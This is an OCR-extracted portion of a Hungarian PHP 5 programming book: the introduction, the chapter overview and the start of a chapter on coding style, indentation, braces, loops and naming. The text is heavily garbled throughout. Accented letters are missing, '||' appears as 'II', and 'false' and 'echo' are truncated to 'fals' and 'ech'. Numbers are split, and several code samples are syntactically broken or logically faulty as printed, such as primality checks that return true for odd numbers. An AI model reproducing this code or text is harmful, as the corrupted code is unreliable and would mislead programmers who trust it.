A PHP 5 a tbbi kvetelmnynek is maradktalanul megfelel. Amint a knyvben ltni fogjuk, a PHP j objektummodellje erteljes s a szabvnyoknak megfelel objektumkzpont tmogatst nyjt. A PHP frge s mretezhet, ksznheten az alkalmazhat programozsi stratgiknak, illetve annak, hogy az zleti logika ltfontossg rszeit knny jra megvalstani valamilyen alacsonyszint nyelven. A nyelv emellett tengernyi bvtmnyt biztost a ms szolgltatsokkal val egyttmkdsre, az adatbzis-kiszolglktl a SOAP-ig. Vgl, a PHP megfelel a programozsi nyelvek legfontosabb kvetelmnynek: egyszeren bvthet. Ha a nyelv nem rendelkezne a szmunkra szksges szolgltatssal vagy kpessggel, mi magunk is hozzadhatjuk.

A knyv felptse
A ktet t, tbb-kevsb nll rszre oszlik. Br gy szerkesztettk meg, hogy az rdekld knnyen elreugorhasson egy adott fejezethez, a knyvet javasolt elejtl a vgig elolvasni, mert szmos pldt fokozatosan ptnk fel. A knyv szerkezete a tanuls termszetes folyamathoz igazodik. Elszr azt trgyaljuk, hogyan kell helyes PHP kdot rni, majd rtrnk az egyes mdszerekre, azutn a teljestmny fokozsra, vgl a nyelv bvtsre. A felpts azon alapul, hogy hisszk, egy profi programoz legfontosabb felelssge, hogy karbantarthat" kdot rjon, s hogy knnyebb egy jl megrt kdot gyors futsv tenni, mint egy gyors, de silny kdot feljavtani.

I. rsz Megvalstsi s fejlesztsi mdszerek


1. fejezet (Kdolsi stlusok)

Az els fejezet a ktetben hasznlt kdolsi szoksokat mutatja be, s ezek kr egy kdolsi stlust pt, valamint rvilgt a kvetkezetes, jl dokumentlt kd fontossgra.
2. fejezet (Objektumkzpont programozs tervezsi mintk segtsgvel)

A msodik fejezet a PHP 5 objektumkzpont (objektum-orientlt, OOP) programozst tmogat szolgltatsait rszletezi, s az ilyen irny kpessgeket ltalnos tervezsi mintk krnyezetben mutatja be. Azzal, hogy teljes ttekintst nyjt mind a PHP 5-ben megjelent j OOP szolgltatsokrl, mind az OOP megkzelts mgtt megbv elvekrl, a fejezet hasznos lehet az OOP programozssal ismerkedk s a tapasztalt programozk szmra is.
3. fejezet (Hibakezels)

Hibzni emberi dolog. A harmadik fejezet a PHP eljrskzpont (procedurlis) s OOP hibakezel eljrsait trgyalja, klns tekintettel a PHP 5 j, kivtel alap hibakezelsi kpessgeire.

xxviii

PHP fejleszts felsfokon

4. fejezet (Megvalsts PHP nyelven: a sablonok s a Vilghl)

A negyedik fejezet a sablonrendszereket tekinti t, vagyis az olyan elemkszleteket, amelyek a megjelents s a programkd kettvlasztst segtik. A fejezet sszehasonltja a teljes s az ad hoc jelleg sablonrendszerek elnyeit s htrnyait, az elbbire pldaknt a Smarty-t hasznlva.
5. fejezet (Megvalsts PHP nyelven: nll programok)

Manapsg csak igen kevs webalkalmazsnak nincs szksge httrsszetevre. Az arra val kpessg, hogy mr ltez PHP kd jrahasznostsval rjunk ktegelt feladatokat, hjprogramokat s nem webes feldolgoz rutinokat, ltfontossg a nyelv zleti krnyezetben val hasznostsban. Az tdik fejezet az nll programok s dmonok rsnak alapjait taglalja.
6. fejezet (Egysgtesztels)

Az egysgtesztels annak egyik mdszere, hogy ellenrizzk, a kd megfelel-e arra a clra, amire ltrehoztuk. A hatodik fejezetben megvizsgljuk az egysgtesztelsi mdszereket, s azt, hogy a PHPUnit segtsgvel hogyan kszthetnk rugalmas egysgtesztel csomagokat.
7. fejezet (A fejlesztkmyezet kezelse)

A kd sszehangolsa a legtbb fejleszt szmra nem a legizgalmasabb feladat, mindazonltal igen fontos. A hetedik fejezet bemutatja, hogyan tarthatjuk kzben a kdot a nagy projektekben, s tfog bevezetst nyjt a CVS (Concurrent Versioning System, vltozatkvet rendszer) hasznlatba.
8. fejezet (Hogyan tervezznk j API-t?)

A nyolcadik fejezet tmutatst ad egy olyan kdtr ltrehozshoz, ami kezelhet, rugalmas s knnyen felhasznlhat klnbz munkk sorn.

II. rsz Gyorstrak


9. fejezet (Teljestmnyfokozs kls mdszerekkel)

A gyorstrak hasznlata valsznleg a teljestmny fokozsnak, illetve az alkalmazs mretezsnek leghatkonyabb mdja. A kilencedik fejezet a PHP-n kvli trolsi mdszereket vizsglja, s a fordti s helyettes (proxy) gyorstrakat trgyalja.
10. fejezet (Adatsszetevk tmeneti trolsa)

A tizedik fejezet arra sszpontost, hogyan pthetnk trolsi mdszereket magba a PHP kdba, illetve hogyan s mikor alkalmazzunk gyorstrakat egy alkalmazsban. Sor kerl egy mkdkpes trolrendszer kifejlesztsre is, ami tbb httrtrat hasznl.

PHP fejleszts felsfokon

xxix

11. fejezet (Szmtsi jrahasznosts)

A tizenegyedik fejezetben megnzzk, hogyan tehetjk az egyes algoritmusokat s folyamatokat hatkonyabb a kztes adatok tmeneti trolsval. Lefektetjk a szmtsi jrahasznosts alapelveit, s azokat gyakorlati pldkkal illusztrljuk.

III. rsz Elosztott alkalmazsok


12. fejezet (Adatbzisok hasznlata)

Az adatbzisok szinte minden dinamikus webhelyen kzponti szerepet tltenek be. A tizenkettedik fejezet a PHP s az adatbzis-rendszerek kztti hd ptsnek hatkony mdszereit mutatja be.
13. fejezet (A felhasznlk hitelestse s a munkamenetek biztonsga)

A tizenharmadik fejezet a felhasznlk azonostsnak kezelst, s az gyfl-kiszolgl kapcsolatok biztonsgt veszi grcs al. Tbbek kztt trgyaljuk a titkostott munkameneti informcik stikben" (cookie) val trolst, s teljes egszben megvalstunk egy egyszer bejelentkezsi rendszert is.
14. fejezet (Munkamenetek kezelse)

A tizennegyedik fejezet a PHP munkameneti bvtsnek ismertetsvel, illetve sajt munkamenet-kezelk rsval folytatja a felhasznli munkamenetek trgyalst.
15. fejezet (Elosztott krnyezet kiptse)

A tizentdik fejezet olyan mretezhet alkalmazsok ptst mutatja be, amelyek egyetlen gpnl tbbet ignyelnek. Rszletezzk a szmtgpfrtk sszelltst s hatkony kezelst, valamint azt, hogy hogyan kezelhetjk hatkonyan az tmeneti trol s adatbzisrendszereket.
16. fejezet (RPC: egyttmkds tvoli szolgltatsokkal)

Az egyszer webes gp-gp kommunikcit lehetv tev szolgltatsok kulcsszava manapsg a webszolgltats. Ebben a fejezetben a kt legelterjedtebb webszolgltatsi protokollt nzzk meg, az XML-RPC-t s a SOAP-ot.

IV. rsz Teljestmny


17. fejezet (Teljestmnymrs: teljes alkalmazsok tesztelse)

Az alkalmazs teljestmnynek mrse szksges ahhoz, hogy meggyzdhessnk rla, elbrja azt a forgalmat, amelynek feldolgozsra szntk, s hogy azonosthassuk azokat az sszetevket, amelyek szk keresztmetszetet jelenthetnek. A tizenhetedik fejezetben ttekintjk a klnbz alkalmazsmr (benchmark) programcsomagokat, amelyekkel egy alkalmazs teljestmnye s stabilitsa megmrhet.

xxx

PHP fejleszts felsfokon

18. fejezet (Profilkszts)

Miutn azonostottuk a fontosabb lehetsges szk keresztmetszeteket egy alkalmazsban, profilkszt eszkzkkel elklnthetjk a problms rszeket a kdban. A tizennyolcadik fejezet a profilkszts cljt s mdszereit ismerteti, majd megtant az APD (Advanced PHP Debugger) hasznlatra, amellyel megvizsglhatjuk a kdot.
19. fejezet (Szintetikus mrs: kdblokkok s fggvnyek rtkelse)

Kt kdrszletet lehetetlen sszehasonltani, ha klnbsgeik mennyisgi mrsre nincs md. A tizenkilencedik fejezet ttekinti a teljestmnymrsi mdszereket, illetve az egyedi mrprogramok megvalstst s rtkelst.

V. rsz Bvthetsg
20. fejezet (A PHP s a Zend Engine titkai)

Ha tudjuk, hogyan mkdik a PHP a sznfalak mgtt", okosabb tervezsi dntseket hozhatunk, kihasznlva a PHP erssgeit s megkerlve gyengit. A huszadik fejezet a PHP bels mkdsnek technikai rszleteit tartalmazza, illetve azt, hogy hogyan kommuniklnak a webkiszolglkhoz hasonl alkalmazsok a PHP-vel, hogyan kszt az rtelmez a parancsfjlokbl kztes kdot, s hogyan zajlik a program vgrehajtsa a Zend motorban.
21. fejezet (A PHP bvtse: I. rsz)

A huszonegyedik fejezet a C nyelv PHP bvtmnyek rsba vezet be. Foglalkozik a meglev PHP kdok C nyelvre val tltetsvel, illetve azzal is, hogyan rhatunk olyan bvtmnyeket, amelyek lehetv teszik, hogy a PHP hozzfrjen a msok ltal ksztett C knyvtrakhoz.
22. fejezet (A PHP bvtse: II. rsz)

A huszonkettedik fejezet az elz tmjt folytatja magasabb szinten; olyan tmakrkkel, mint az osztlyok ltrehozsa a bvtmnyek kdjban, illetve az adatfolyamok s a munkamenet-kezelsi kpessgek hasznlata.
23. fejezet (SAPI-k ksztse s a Zend Engine bvtse)

A huszonharmadik fejezet a PHP alkalmazsokba gyazsval foglalkozik, illetve a Zend Engine bvtsvel, amelynek rvn megvltoztathatjuk a nyelv alapviselkedst.

PHP fejleszts felsfokon

xxxi

Felletek s vltozatok
A ktet a PHP 5-re pl, de az anyag mintegy tz szzalknak kivtelvel nem kifejezetten csak a PHP 5-re vonatkozik. (Az emltett tz szzalkba a 2. s 22. fejezetekben bemutatott j, objektumkzpont szolgltatsok, illetve a 16. fejezetben a SOAP trgyalsa tartozik.) Elveket s mdszereket mutatunk be, hogy kdunk gyorsabb, okosabb s jobban tervezett legyen. Remnyeink szerint legalbb a knyv fele hasznosnak bizonyul abban, hogy brmilyen nyelven jobb kdot rjunk. Minden programot, ami a ktetben szerepel, Linuxon rtunk s teszteltnk, de mdosts nlkl futniuk kell Solaris, OS X, FreeBSD vagy brmely ms Unix-kln rendszeren is. A programok legtbbje minimlis mdostssal Windowson is futtathat, br egyes segdeszkzk (mgpedig az 5. fejezetben bemutatand pcntl fggvnyek) esetleg nem ltethetk t teljesen.

Megvalstsi s fejlesztsi mdszerek

1
Kdolsi stlusok
Minden legyen olyan egyszer, amennyire csak lehet, de semmivel sem egyszerbb." Albert Einstein (1879-1955) Keresd az egyszersget, de ne bzz benne." Alfrd North Whitehead (1861-1947) Nem szmt, milyen szint tudssal rendelkeznk a PHP-t illeten, nem szmt, mennyire ismerjk a nyelvet, annak szablyait s klnbz szolgltatsait, attl mg rhatunk silny vagy zavaros kdot. A nehezen olvashat kd pedig nehezen karbantarthat, s knszenveds benne a hibakeress. A szegnyes kdolsi stlus a szakrtelem hinyt mutatja. Ha pillanatnyi munknk letnk vgig tartana s soha nem kellene msnak a kdhoz nylnia, akkor sem lenne elfogadhat, hogy olyan kdot rjunk, ami rosszul szerkesztett. Nekem is nehzsget okoz a kt-hrom ve ltalam rt knyvtrak bvtse s azokban a hibk keresse, mg akkor is, ha a stlus tiszta. Ha pedig olyan kdra bukkanok, amit rossz stlusban rtam meg, gyakran ppoly sokig tart kibogoznom annak logikjt, mintha jra megrnm a semmibl. A helyzetet bonyoltja, hogy egy programoz sem lgres trben" dolgozik: programjainkat jelenlegi s jvbeli kollginknak kell majd karbantartaniuk. Kt, nmagban megfelel stlus keverke viszont ugyangy olvashatatlan s karbantarthatatlan kdot eredmnyezhet, mintha semmilyen stlust nem kvetnnk, ezrt nem csak az a fontos, hogy megfelel stlusban programozzunk, hanem az is, hogy az egytt dolgoz fejlesztk kvetkezetesen ragaszkodjanak egy kzs stlushoz.

PHP fejleszts felsfokon

Megtrtnt, hogy rkltem egy megkzeltleg 200 000 sorbl ll kdtrat, amit hrom fejlesztcsapat dolgozott ki. Volt, amikor szerencsm volt, s egy include legalbb fjlon bell kvetkezetesnek bizonyult - de gyakran megesett, hogy egyetlen fjlban hrom klnbz stlus kpviselte magt.

A megfelel stlus kivlasztsa


A kdolsi stlus kivlasztst nem szabad elhamarkodnunk. A kd, amit runk, tll" minket, s az idk sorn egy stlusvlts tbb gondot okozhat, mint amennyi nyeresget hoz. Egy olyan kd, amit minden j fejleszt j stlusban r, gyorsan kezelhetetlen masszv vltozhat. Amellett, hogy fontos kpesnek lennnk egy indul munka stlusnak kivlasztsra, meg kell tanulnunk alkalmazkodnunk ms szabvnyokhoz is. Nincs tkletes szabvny: a kdolsi stlus leginkbb szemlyes zlsnktl fgg. A tkletes stlus" kivlasztsnl sokkal tbbet r, ha a kd stlusa mindenhol kvetkezetes - teht ne siessnk megvltoztatni egy ltalunk vletlenl nem kedvelt, de egybknt kvetkezetes stlust.

A kd formzsa s elrendezse
A kd formzsa s elrendezse - amibe beletartozik a behzs, a sorhossz meghatrozsa, a trkzk hasznlatnak mdja, vagy akr az SQL (Structured Query Language, strukturlt lekrdeznyelv) parancsok rsi mdja - a legfontosabb eszkz, amivel kifejezhetjk a kd logikai szerkezett.

Behzs
Ebben a knyvben a kd szerkezett s a kdblokkokat behzssal jelljk. A kdszervezs eszkzeknt alkalmazott behzsok jelentsgt nem lehet elgg hangslyozni. Szmos programoz olyannyira fontosnak tartja, hogy a Python programozsi nyelv pldul nyelvtani szablyknt tartalmazza: a helytelen behzsokat tartalmaz Python kd le sem fordthat! Br a behzs a PHP-ben nem ktelez, olyan erteljes vizulis szervezeszkz, amit clszer kvetkezetesen felhasznlnunk programjainkban. Vegyk pldul az albbi kdot:
if($month = = 'september' II $month == II $month == 'november') { return 3 0;
}

'april'

II

$month

==

'june'

else if($month == 'february') { if((($year % 4 == 0) && !($year % 100)) II ($year % 400 ==0)) { return 2 9; }

1. fejezet * Kdolsi stlusok

else { return 28; } } else { return 31; }

Vessk ssze a kdot a kvetkez vltozattal, ami a behzsoktl eltekintve teljesen megegyezik vele:
if ($month == 'september' $month == 'april' $month == 'june' $month == 'november') { return 3 0;
}

|| || ||

else if($month == 'february') { i f( ( ( $ y e ar % 4 == 0) && ($year % 1 0 0 )) II ($year % 400 ==0)) { return 29; } else { return 28; } } else { return 31; }

A msodik vltozatban knnyebb ttekinteni a vezrlsi logikt, mint az elsben. Amikor a behzsra tabultorokat hasznlunk, el kell dntennk, hogy kemny vagy lgy tabultorokat alkalmazunk, s ehhez kvetkezetesen ragaszkodnunk kell a kdban. A szokvnyos tabultorok kemny tabultorok. A lgy tabultrok viszont tulajdonkppen nem is tabultorok: ekkor adott szm norml szkzt hasznlunk. A lgy tabultorok elnye, hogy mindig ugyangy jelennek meg, fggetlenl a szerkeszt tabultorbelltsaitl. (A szerz a lgy tabultorokat rszesti elnyben.) Segtsgkkel knnyen fenntarthat a kvetkezetes behzs, illetve trkz-hasznlat a kd egszben. Amennyiben kemny tabultorokat alkalmazunk - klnsen ha tbb fejleszt klnfle szerkesztprogramokkal dolgozik az adott munkn -, knnyen elfordulhat, hogy a behzsi szintek sszekeverednek. Pillantsunk az 1.1 s 1.2 brkra. Mindkett pontosan ugyanazt a kdot mutatja, csakhogy az egyik zavaros, mg a msik tisztn olvashat.

PHP fejleszts felsfokon

1.1 bra Helyesen behzott kd.

1.2 bra Az 1.1 brn ltott kd, egy ms belltsokat tartalmaz szerkesztben. A hasznlni kvnt tabultorszlessget is elre ki kell vlasztanunk. Ngy szkz mr ltalban jl olvashat kdot eredmnyez, mikzben megfelel mennyisg begyazsi szintet biztost. A knyvoldalak viszont nmileg kevesebb teret adnak, mint a terminlablakok, ezrt a ktet minden kdjban kt szkzt alkalmaztunk tabultorszlessgknt.

1. fejezet Kdolsi stlusok

Szmos szerkesztprogram tmogatja a forrskdban elhelyezett mgikus" megjegyzseken alapul automatikus formzsszlelst. A vim-ben pldul az albbi megjegyzs nmkden lgy tabultorok hasznlatra lltja a szerkesztt (expandtab kapcsol), a szlessget pedig ngy szkzben szabja meg (tabstop s sof ttabstop kapcsolk): // vim: expandtab softtabstop=2 tabstop=2 shiftwidth=2 Emellett a vim : retab parancsa minden kemny tabultort lgy tabultorr alakt a dokumentumban, gy clszer ezt alkalmaznunk, ha a tabultorok hasznlatrl t szeretnnk llni szkzkre. Az emacs-ben az albbi megjegyzs hasonl eredmnnyel jr: /*
* Local variables: * tab-width: 2 * c-basic-offset: 2 * indent-tabs-mode: nil * End: */

Szmos nagy programban (kzjk tartozik maga a PHP nyelv is), ilyen tpus megjegyzseket helyeznek el minden llomny aljn; hogy a fejlesztk kvetkezetesen betartsk a projekt behzsi szablyait.

Sortiossz
A hny nap van egy hnapban" fggvny els sora meglehetsen hossz, gy nehezen lthat t az rtkellenrzsek sorrendje. Ilyen esetekben clszer a hossz sorokat tbb sorra trdelni, valahogy gy: if($month == 'september' II $month == 'april' II $month == 'june' II $month == 'november') { return 3 0;
}

A msodik sor behzsval jelezhetjk, hogy az az els folytatsa. Ha a sor klnsen hossz, rdemes az egyes feltteleket kln sorba rni, mindet behzni, s egyms al igaztani: if ($month $month $month $month
{

== 'september' I I == 'april' II == 'june' II == 'november')

return 30;
}

PHP fejleszts felsfokon

A fenti mdszer a fggvnyek paramtereinl is ugyanolyan jl mkdik: mail("postmaster@example.foo", "My Subject", $message_body, "From: George Schlossnagle <george@omniti.com>\r\n"); n ltalban minden 80 karakternl hosszabb sort tbb sorba rok, mert ez a szabvnyos Unix terminlablakok szlessge, s megfelel arra is, hogy a kdot olvashatbb bettpussal kinyomtassuk.

Trkzk hasznlata
A trkzkkel a kd logikai szerkezett tkrzhetjk; segtsgkkel pldul hatkonyan csoportosthatjuk az rtkadsokat, s rvilgthatunk az sszefggsekre. Az albbi kd rosszul formzott s nehezen olvashat: $lt = localtimeO ; $name = $_GET [ ' name ' ] ; $email = $_GET['email']; $month = $lt['tm_mon'] + 1; $year = $lt['tm_year'] + 1900; $day = $lt['tm_day']; $address = $_GET['address']; A kdblokkot feljavthatjuk, ha trkzkkel logikailag csoportostjuk a hasonl rtkadsokat, s az egyenlsgjeleket egyms al igaztjuk: $name = $_GET['name']; $email = $_GET['email']; $address = $_GET['address']; $lt $day $month $year = = = = localtime(); $lt['tm_day']; $lt['tm_mon'] + 1; $lt [ ' tm^ear ' ] + 1900;

SQL irnyelvek
A fejezetben eddig lefektetett kdformzsi s -elrendezsi szablyok rvnyesek mind a PHP, mind az SQL kdokra. Az adatbzisok a legtbb mai webhely szerves rszt kpezik, gy az SQL nlklzhetetlen rsze a kdtraknak. Az SQL lekrdezsek azonban - fleg azokban az adatbzis-rendszerekben, amelyek tmogatjk az sszetett allekrdezseket - knnyen bonyolultt s ttekinthetetlenn vlhatnak, ezrt a PHP-hez hasonlan az SQL kdokban is hasznljunk btran trkzket s sortrst.

1. fejezet Kdolsi stlusok

Vegyk pldul a kvetkez lekrdezst: $query = "SELECT FirstName, LastName FROM employees, departments WHERE employees.dept_id = department.dept_id AND department.Name = 1Engineering'"; Ez egy egyszer lekrdezs, de rosszul szerkesztett. Tbbfle mdon is feljavthatjuk: nagybetss tehetjk a kulcsszavakat, a kulcsszavaknl j sort kezdhetnk, a tblamsodnevek (alias) hasznlatval tisztbb tehetjk a kdot. Lssunk egy pldt a lekrdezs mdostsra a fentiek szerint: $query = "SELECT firstname, lastname FROM employees e, departments d WHERE e.dept_id = d.dept_id AND d.name = 'Engineering'";

Vezrlsi szerkezetek
A vezrlsi szerkezetek olyan alapvet ptelemek, amelyeket szinte minden modern programozsi nyelv tartalmaz. A vezrlsi szerkezetek szabjk meg, milyen sorrendben hajtja vgre a program az utastsokat. Kt fajtjuk ltezik: a feltteles utastsok s a ciklusok. Azok az utastsok, amelyek csak akkor hajtdnak vgre, ha egy adott felttel teljesl, feltteles utastsok, mg a ciklusok ismtlden vgrehajtott utastsok. Az, hogy egy felttel teljeslst vizsglhatjuk, s az llts igaz vagy hamis volttl fggen hajthatunk vgre mveleteket, lehetv teszi, hogy a kdba dntsi logikt ptsnk be. A ciklusok arra adnak mdot, hogy ugyanazt a logikt ismteljk, s gy meghatrozatlan adatokon vgezznk bonyolult feladatokat. Kapcsos zrjelek a vezrlsi szerkezetekben A PHP nyelvtana nagy rszt a C programozsi nyelvtl vette t. A C-hez hasonlan az egysoros feltteles utastsok a PHP-ben sem ignyelnek kapcsos zrjeleket. Az albbi kd pldul gond nlkl lefut:
if(isset($name)) ech "Hello $name";

10

PHP fejleszts felsfokon

Annak ellenre azonban, hogy ez mkd kd, nem ajnlott a hasznlata. Ha kihagyjuk a kapcsos zrjeleket, ksbb nehz lesz anlkl mdostani a kdot, hogy hibt ne vtennk. Amennyiben pldul egy jabb sorral szeretnnk kiegszteni a fenti utastst, de nem figyelnk elgg, ilyesmit rhatunk: if(isset($name)) ech "Hello $name"; $known_user = true; Ez egyltaln nem azt eredmnyezi, amit szeretnnk. A $known_user rtke mindenkppen true lesz, pedig ezt csak akkor akarjuk, ha a $name vltoz ltezik (isset). A kevereds elkerlse vgett mindig hasznljunk kapcsos zrjeleket, mg akkor is, ha csak egyetlen feltteles utastsunk van:
if (isset($name)) { ech "Hello $name"; } else { ech "Hello Stranger"; }

A kapcsos zrjelek kvetkezetes hasznlata Igyekezznk kvetkezetesen hasznlni a kapcsos zrjeleket a felttelek utn. Hrom elterjedt mdszer kzl vlaszthatunk: BSD stlus: a zrjeleket a felttelt kvet sorba tesszk, s a kulcsszhoz, a sor elejre igaztjuk: if ($felttel)
{

// utasts
}

GNU stlus: a zrjelek itt is a felttelt kvet sorba kerlnek, de flton behzva a kulcssz s a felttel kz: if ($felttel)
{

// utasts
}

K&R stlus: a nyit zrjel a kulcsszval egy sorba kerl: if ($felttel) { // utasts
}

A K&R stlus neve Kernighan-re s Ritchie-re, A Cprogramozsi nyelv cm klasszikus szerzire utal, akik knyvk kdjait e stlussal rtk.

1. fejezet Kdolsi stlusok

11

A kapcsos zrjelek hasznlati mdja mr-mr vallsos sznezetet lt. A vita szenvedlyessgt jelzi pldul, hogy a K&R stlusra idnknt gy hivatkoznak, mint ami az egyeden igazi zrjelezsi stlus". Pedig vgssoron mindegy, melyik stlus mellett dntnk; csak az szmt, hogy meghozzuk a dntst s kvetkezetesen ragaszkodjunk hozz. Nekem tetszik a K&R stlus tmrsge, kivve amikor a felttel tbb sorra trik, amikor is tlthatbbnak tallom a BSD stlust. Az utbbit rszestem elnyben a fggvnyek s osztlyok bevezetsnl is, valahogy gy: function hello($name)
{

ech "Hello $name\n";


}

Az, hogy a fggvnydeklarcik zrjelei egszen kikerlnek a bal margra, lehetv teszi, hogy els pillantsra felismerjk ket. Mindazonltal ha olyan munkhoz csatlakozom, aminek mr kialakult stlusa van, igazodom hozz, mg ha magam msik stlust is rszestek elnyben. Hacsak az adott stlus nem kifejezetten rossz, a kvetkezetessg mindig fontosabb. for vagy while vagy foreach? Ahol elg egy for vagy foreach, ne hasznljunk while ciklust. Nzzk a kvetkez kdot: function is_prime($number)
{

$i = 2; while($i < $number) { if ( ($number % $i ) == 0) {

return fals;
} $i + +; }

return true;
}

Ez a ciklus nem tl hatkony. Gondoljunk bele, mi trtnik, ha az albbihoz hasonl mdon egy jabb vezrlsi ggal bvtjk: function is_prime($number)
{

If ( ($number % 2) return true;


}

!= 0)

$i = 0; while($i < $number)

12

PHP fejleszts felsfokon

// Egyszeren ellenrizzk, hogy $i pros-e if( ($i & 1) == 0 ) { continue; } if ( ($number % $i ) == 0) { return fals; }
$i++; }

return true; }

Ebben a pldban elszr ellenrizzk, hogy a szm oszthat-e kettvel. Ha nem, mr nincs szksg arra, hogy megnzzk, oszthat-e brmilyen ms pros szmmal, hiszen minden pros szm kzs osztja a 2. Itt vletlenl beavatkoztunk a nvel mveletbe, gy vgtelen ciklusba kerltnk. A vges szm ismtld mveletekhez termszetesebb vlaszts a f or ciklus, ahogy itt is: function is_prime($number)
{

if(($number % 2)
return true;

!= 0)

} for($i=0; $i < $number; $i++) { // Egyszeren ellenrizzk, hogy $i pros-e if( ($i & 1) == 0 ) { continue; } if ( ($number % $i ) = = 0 ) { return fals; } } return true; }

Ha tmbket jrunk be, a f or-nl mg jobb, ha a f oreach ciklust hasznljuk. Lssunk erre is egy pldt: $array = (3, 5, 10, 11, 99, 173); foreach($array as $number) { if(is_prime($number)) { print "$number is prime.Xn";
} }

Ez gyorsabb, mint egy f or ciklus, mert nincs benne kifejezett szmll.

1. fejezet Kdolsi stlusok Cikluson belli vezrls a break s a continue hasznlatval

13

Amikor egy ciklust hajtunk vgre, a break hasznlatval ugorhatunk ki azokbl a ciklusblokkokbl, amelyek vgrehajtsra mr nincs szksgnk. Vegyk a kvetkez ciklust, ami egy belltfjlt dolgoz fel:
$has_ended = 0 ; while(($line = fgets($fp)) !== fals) { if($has_ended) { } else { if(strcmp($line, '_END_') == 0) { $has_ended = 1; } if(strncmp($line, '//', 2) == 0) { } else { // utasts feldolgozsa } } }

Szeretnnk figyelmen kvl hagyni azokat a sorokat, amelyek C++ stlus megjegyzsekkel (vagyis / / jelzssel) kezddnek, a feldolgozst pedig teljesen be szeretnnk szntetn: ha egy _END_ deklarciba tkznk. Ha a cikluson bell nem hasznlunk vezrlsi szei kezeteket, knytelenek lesznk egy kis llapotautomatt pteni. A csnya begyazott uta stsokat a continue s a break alkalmazsval kerlhetjk ki: while(($line = f g e t s ( $ f p ) ) != = fals) if(strcmp($line, '_END_') == 0) { break;
}

if(strncmp($line, continue;
}

'//',

2) == 0)

// utasts feldolgozsa
}

Ez a vltozat nem csak rvidebb, mint a megelz, hanem hinyoznak belle a zavar begyazsok is.

14

PHP fejleszts felsfokon A mlyen egymsba gyazott felttelek elkerlse Programrs sorn gyakran kvetik el azt a hibt, hogy mlyen egymsba gyazott feltteleket hoznak ltre, amikor egy ciklus is elg lenne. me egy jellemz kd, amiben szintn ez a hiba szerepel:
$fp = fopenC'file", "r"); if ($fp) { $line = fgets($fp); if($line !== fals) { // a $line feldolgozsa } else { die("Error: Fil is empty); }

else {
}

die("Error: Couldn't open f i l " ) ;

Ebben a pldban a kd trzse (ahol a $line vltoz feldolgozsa trtnik) kt behzsi szinttel beljebb kezddik, ami egyrszt zavar, msrszt a szksgesnl hosszabb sorokat eredmnyez, a hibakezel feltteleket sztszrja a kdban, s megknnyti a zrjelezsi hibk vetst. Sokkal egyszerbb, ha az albbihoz hasonl mdon a hibakezelst (az esetleges kivtelekkel egytt) teljes egszben a kd elejre helyezzk, s megszntetjk a felesleges begyazst:
$fp = fopenC'file", "r"); if (!$fp) { die("Error: Couldn't open fil"); } $line = fgets($fp); if($line === fals) { die("Error: Fil is empty"); } // a $line feldolgozsa

Nvszimblumok
A PHP szimblumokkal rendeli az adatokat a vltoznevekhez. A szimblumok adnak mdot arra, hogy ksbbi jrahasznosts cljbl nevet adhassunk az adatoknak. Minden alkalommal, amikor bevezetnk egy vltozt, ltrehozunk szmra egy bejegyzst az aktulis szimblumtblban, s az aktulis rtkhez ktjk. me egy plda: $foo = 'bar'; Ebben az esetben a f oo szmra hozunk ltre egy bejegyzst az aktulis szimblumtblban, s hozzkapcsoljuk aktulis rtkhez, a bar-hoz. Amikor egy osztlyt vagy fggvnyt hatrozunk meg, egy msik szimblumtblba szrjuk be azt. Lssunk erre is egy pldt:

1. fejezet Kdolsi stlusok

15

function hello($name) { print "Hello $name\n"; }

Itt a hello a fggvnyek szimblumtbljba kerl s a lefordtott kdhoz (optree) kapcsoldik. A 20. fejezetben megnzzk, hogyan zajlanak ezek a mveletek a PHP-ben, de most arra sszpontostunk, hogyan tehetjk a kdot olvashatbb s knnyebben karbantarthatv. A PHP kd vltoz- s fggvnynevekkel van tele. A j elrendezshez hasonlan az elnevezsi szablyok is azt a clt szolgljk, hogy az olvas szmra vilgosabb tegyk a program logikjt. A legtbb nagy szoftverprojekt hasznl valamilyen elnevezsi rendszert, ami biztostja az egyes kdrszek egysgessgt. Az itt bemutatott szablyokat a PHP Extension and Application Repository (PEAR, PHP bvtmny- s alkalmazstr) irnyelveibl vettk t. A PEAR olyan PHP programok s osztlyok gyjtemnye, amelyeket arra terveztek, hogy ltalnos ignyeket kielgt jrahasznosthat elemek legyenek. Mint a legnagyobb nyilvnos PHP kdgyjtemny, a PEAR egyfajta szabvnyt biztost, amelyhez igazodhatunk. Az els szably, amit meg kell jegyeznnk, a vltoznevekhez kapcsoldik: soha ne hasznljunk rtelmetlen vltozneveket. Szmos knyvben s cikkben (belertve a szmtstudomnnyal foglalkoz magas szint szvegeket) tallunk jelentssel nem br, ltalnost vltozneveket, amelyek nem segtik a kd megrtst. Vegyk pldul az albbi kdot: function test($baz)
{

for($foo = 0; $foo < $baz; $foo++) $bar[$foo] = "test_$foo";


}

return $bar;
}

Ezt gond nlkl lecserlhetjk a kvetkez kdra, amiben mr beszdesebb neveket tallunk, amelyek jobban rvilgtanak, mi is trtnik itt: function create_test_array($size)
{

fo r ( $ i = 0; $i < $size; $retval[$i] = "test_$i"; } return $retval;


}

$i++)

A PHP-ben minden osztly- vagy fggvnytrzsn kvl meghatrozott vltoz automatikusan globlis vltoz lesz. A fggvnyen bell megadott vltozk csak az adott fggvnyen bellrl lthatk, ha pedig azt szeretnnk, hogy egy globlis vltoz egy fggvnyen bellrl is elrhet legyen, a global kulcsszval kell bevezetnnk. A vltozk lt-

16

PHP fejleszts felsfokon

hatsgra vonatkoz fenti megszortsok a hatkri szablyok. Egy vltoz hatkre az a kdblokk, amelyben a vltoz kln intzkeds nlkl elrhet. A hatkri szablyok - amellett, hogy egyszerek s elegnsak - feleslegess teszik, hogy az elnevezs attl fggjn, hogy egy adott vltoz globlis-e. Az elnevezsi szably szempontjbl a PHP vltozit hrom csoportba oszthatjuk: Valdi globlis vltozk - olyan vltozk, amelyekre globlis hatkrben szndkozunk hivatkozni. Hossz let vltozk - olyan vltozk, amelyek brmilyen hatkrben ltezhetnek, de tbb kdblokkban is hivatkozunk rjuk, illetve tbb kdblokk szmra is fontos informcit trolnak. Ideiglenes vltozk - kisebb kdrszekben hasznlt vltozk, amelyek ideiglenes informcit trolnak.

llandk s valdi globlis vltozk


A valdi globlis vltozkat s az llandkat csupa nagybetvel clszer rni, gy azonnal lthatjuk rajtuk, hogy globlis vltozk. me egy plda:
$CACHE_PATH = '/var/cache/'; function list_cache() { global $CACHE_PATH; $dir = opendir($CACHE_PATH); while(($file = readdir($dir)) !== fals && is_file{$file)) { $retval[] = $file; } closedir($dir);

